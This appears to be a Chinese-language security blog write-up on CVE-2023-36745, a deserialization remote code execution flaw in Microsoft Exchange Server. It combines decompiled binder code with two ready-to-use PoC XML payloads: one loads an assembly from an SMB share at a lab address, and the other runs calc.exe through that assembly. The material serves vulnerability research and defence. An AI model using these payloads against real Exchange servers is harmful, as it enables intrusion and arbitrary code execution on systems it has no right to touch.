Microsoft Exchange Server CVE-2023-36745

前言

CVE-2023-36745是CVE-2022-41082的变体。

自从去年Trend Micro Zero Day Initiative发布CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND后,就陆续爆出Microsoft Exchange Server PowerShell端点的反序列化漏洞绕过,如CVE-2023-21707以及Hexacon 2023上chudyPB演示的CVE-2023-32031。

懒得写CVE-2023-21707和CVE-2023-32031了。

CVE-2023-36745

CVE-2023-36745是通过Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver这个类进行绕过的,Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver类的单参数构造函数会调用Assembly.LoadFrom加载程序集。

1
2
3
4
5
6
7
8
9
10
11
public SharedTypeResolver(string assemblyLoadPath = null)
{
if (string.IsNullOrEmpty(assemblyLoadPath))
{
assemblyLoadPath = ExchangeSetupContext.BinPath;
}
this.fusePaxosAsm = Assembly.LoadFrom(Path.Combine(assemblyLoadPath, "FUSE.Paxos.dll"));
this.typeCache = new ConcurrentDictionary<string, Type>();
this.typeNameCache = new ConcurrentDictionary<string, string>();
this.typeNameSpaceCache = new ConcurrentDictionary<string, string>();
}

Microsoft.Exchange.Diagnostics.ChainedSerializationBinderLoadType方法会从当前应用程序上下文中的程序集中加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public static Type LoadType(string assemblyName, string typeName, bool throwExceptionForMissingType, DeserializeLocation location, bool strictMode)
{
Type type = null;
try
{
type = Type.GetType(string.Format("{0}, {1}", typeName, assemblyName));
}
catch (TypeLoadException)
{
}
catch (FileLoadException)
{
}
if (type == null)
{
string shortName = assemblyName.Split(new char[] { ',' })[0];
try
{
type = Type.GetType(string.Format("{0}, {1}", typeName, shortName));
}
catch (TypeLoadException)
{
}
catch (FileLoadException)
{
}
if (type == null)
{
Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
IEnumerable<Assembly> enumerable = assemblies.Where((Assembly x) => shortName == x.FullName.Split(new char[] { ',' })[0]);
Assembly assembly = (enumerable.Any<Assembly>() ? enumerable.First<Assembly>() : null);
try
{
if (assembly != null)
{
type = assembly.GetType(typeName);
}
}
catch (TypeLoadException)
{
}
catch (FileLoadException)
{
}
if (type == null)
{
foreach (Assembly assembly2 in assemblies)
{
try
{
type = assembly2.GetType(typeName);
if (type != null)
{
break;
}
}
catch
{
}
}
if (type == null)
{
try
{
type = ChainedSerializationBinder.ParseAndLoadGenericType(assemblyName, typeName, location, strictMode);
}
catch
{
}
}
}
}
}
if (type == null)
{
DeserializationTypeLogger.Singleton.Log(typeName, BlockReason.InDeny, location, strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);
if (throwExceptionForMissingType)
{
throw new BlockedDeserializeTypeException(typeName + ", " + assemblyName, BlockReason.InDeny, location);
}
}
return type;
}

那么先利用反序列化类型转换调用Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver的单参数构造函数加载自定义程序集引入恶意类,再利用反序列化类型转换调用恶意类的单参数构造函数就可以实现RCE。

Starting with .NET Framework 4, the ability to execute code in assemblies loaded from remote locations is disabled by default, and the call to the LoadFrom method throws a FileLoadException.

从.NET Framework 4开始,Assembly.LoadFrom就不支持从远程加载程序集了,但是好在还可以通过SMB共享加载其他机器上的程序集。

Microsoft.Exchange.Diagnostics.ChainedSerializationBinder在默认strictMode下只允许反序列化白名单中的类,因此需要结合CVE-2023-21529利用范型类Microsoft.Exchange.Data.MultiValuedProperty绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public override Type BindToType(string assemblyName, string typeName)
{
if (this.serializationOnly)
{
throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only. This instance cannot be used for deserialization.");
}
Type type = this.InternalBindToType(assemblyName, typeName);
if (type != null)
{
string text;
BlockReason blockReason = this.ValidateTypeToDeserialize(type, null, null, out text);
this.EnforceBlockReason(blockReason, text);
}
else
{
BlockReason blockReason2 = this.EvaluateTypeStringAgainstDenyLists(typeName);
this.EnforceBlockReason(blockReason2, typeName);
}
return type;
}

public BlockReason ValidateTypeToDeserialize(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName)
{
ChainedSerializationBinder.IsTypeExplicitlyDenied(typeToDeserialize, this.location, out correctedTypeName);
if (!this.IsTypeExplicitlyAllowed(typeToDeserialize, additionalAllowedTypes, additionalAllowedGenerics, out correctedTypeName))
{
return BlockReason.NotInAllow;
}
return BlockReason.Allowed;
}

public bool IsTypeExplicitlyAllowed(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName)
{
if (typeToDeserialize == null)
{
correctedTypeName = "<NULL>";
return true;
}
correctedTypeName = typeToDeserialize.FullName;
if (typeToDeserialize.IsConstructedGenericType || typeToDeserialize.IsGenericTypeDefinition)
{
correctedTypeName = typeToDeserialize.GetGenericTypeDefinition().FullName;
if (ChainedSerializationBinder.AlwaysAllowedGenerics.Contains(correctedTypeName) || (this.allowedGenericsForDeserialization != null && this.allowedGenericsForDeserialization.Contains(correctedTypeName)) || (additionalAllowedGenerics != null && additionalAllowedGenerics.Contains(correctedTypeName)))
{
return true;
}
}
else if (ChainedSerializationBinder.AlwaysAllowedPrimitives.Contains(correctedTypeName) || (this.allowedTypesForDeserialization != null && this.allowedTypesForDeserialization.Contains(correctedTypeName)) || (additionalAllowedTypes != null && additionalAllowedTypes.Contains(correctedTypeName)))
{
return true;
}
return typeToDeserialize.IsArray || typeToDeserialize.IsEnum || typeToDeserialize.IsAbstract || typeToDeserialize.IsInterface;
}

public void EnforceBlockReason(BlockReason blockReason, string typeName)
{
try
{
switch (blockReason)
{
case BlockReason.Invalid:
case BlockReason.InDeny:
case BlockReason.InDenySurrogate:
throw new BlockedDeserializeTypeException(typeName, blockReason, this.location);
case BlockReason.NotInAllow:
if (this.strictMode)
{
throw new BlockedDeserializeTypeException(typeName, blockReason, this.location);
}
break;
}
}
finally
{
if (blockReason != BlockReason.Allowed)
{
DeserializationTypeLogger.Singleton.Log(typeName, blockReason, this.location, this.strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);
}
}
}

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<Obj RefId="13">
<MS>
<S N="N">-Identity:</S>
<Obj N="V" RefId="14">
<TN RefId="2">
<T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAADZAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbTWljcm9zb2Z0LkV4Y2hhbmdlLkR4U3RvcmUuQ29tbW9uLkR4U2VyaWFsaXphdGlvblV0aWwrU2hhcmVkVHlwZVJlc29sdmVyLCBNaWNyb3NvZnQuRXhjaGFuZ2UuRHhTdG9yZSwgVmVyc2lvbj0xNS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1XV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S>\\192.168.237.131\Shares\</S>
</Obj>
</MS>
</Obj>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<Obj RefId="13">
<MS>
<S N="N">-Identity:</S>
<Obj N="V" RefId="14">
<TN RefId="2">
<T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAACFAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbRlVTRS5QYXhvcy5DbGFzczEsIEZVU0UuUGF4b3MsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsXV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S>calc.exe</S>
</Obj>
</MS>
</Obj>

屏幕截图(3)

屏幕截图(1)

调用堆栈:

屏幕截图(5)

屏幕截图(6)

Exp:CVE-2023-36745